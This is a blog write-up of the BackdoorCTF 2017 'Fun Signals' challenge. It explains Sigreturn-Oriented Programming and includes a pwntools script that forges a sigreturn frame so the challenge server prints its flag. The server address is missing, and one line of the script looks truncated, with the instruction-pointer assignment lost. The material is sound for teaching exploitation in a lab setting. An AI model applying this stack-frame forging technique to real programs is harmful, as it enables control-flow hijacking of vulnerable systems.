BackdoorCTF 2017 - Fun Signals | Akash Trehan

BackdoorCTF 2017 - Fun Signals

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BackdoorCTF is the annual flagship CTF competition conducted by SDSLabs and InfoSecIITR.

Points: 250


Gr33n5h4d0w had an argument with h3rcul35 while they were studying Signals and Systems. So, h3rcul35 gave him a binary and said “Signals control Computer. Give me the flag”. Can you help gr33n5h4d0w win his argument by helping him get the flag.

nc 9034



This is a very interesting problem and introduced me to a new kind of attack - Sigreturn-Oriented Programming (SROP). SROP is a technique similar to Return-Oriented Programming (ROP) and is a useful attack vector when the memory is non-executable and you can’t use code injection. This requires the attacker to be able to control the call stack using, for example, a buffer overflow.

When the kernel delivers a signal it creates a frame on the stack where it stores the current context (includes register values among other things). On a sigreturn call the values from the stack are read and put back into the registers. An attacker controllling the stack can modify these values and cause considerable damage.

The disassembly


The flag is in the binary…. on the server.

Anyways, the first call is:

read(0, $esp, 0x400)

1024(0x400) bytes of input is being read from stdin and put into the buffer pointed to by $esp. Since esp is the stack pointer, our input is directly being written on the stack. No space has been allocated for any form of variable.

The next call is:


As already explain, sigreturn will read the sigreturn frame from the stack. But the stack has our input. We control the frame! That’s a lot of power really. We can jump wherever with whatever values in the registers.

The question is where to jump?

Since the aim is to get the flag, we need to write it out. Hence the obvious decision is to do a syscall to WRITE.

But how do we do a syscall?

There is a portion of code labelled syscall, that’s where we need to jump with the proper values in registers to print the flag. Let’s get down to writing a python script.

The Script

Luckily pwntools already had functionality to create Sigreturn frames.

from pwn import *

binary = ELF('player_bin') # Load the binary

context.arch = "amd64" # Architecture

## Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write # System call identifier for write()
frame.rdi = constants.STDOUT_FILENO
frame.rsi = binary.symbols['flag'] # Address of `flag` symbol
frame.rdx = 50 # Number of characters to write. Goes as a parameter to write() = binary.symbols['syscall'] # Start execution from the address labelled `syscall`

r = remote('', 9034)
r.send(str(frame)) # Send the custom frame to overwrite the real one

This will connect to the server, extract the flag and print it.

Note: I randomly decided to get 50 characters since we don’t know the flag size beforehand. The flag was actually smaller than that. Anything larger than the flag size would’ve worked.


Go through other writeups for more such fun challenges.

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BackdoorCTF 2017 - ECB
Akash Trehan

Akash Trehan


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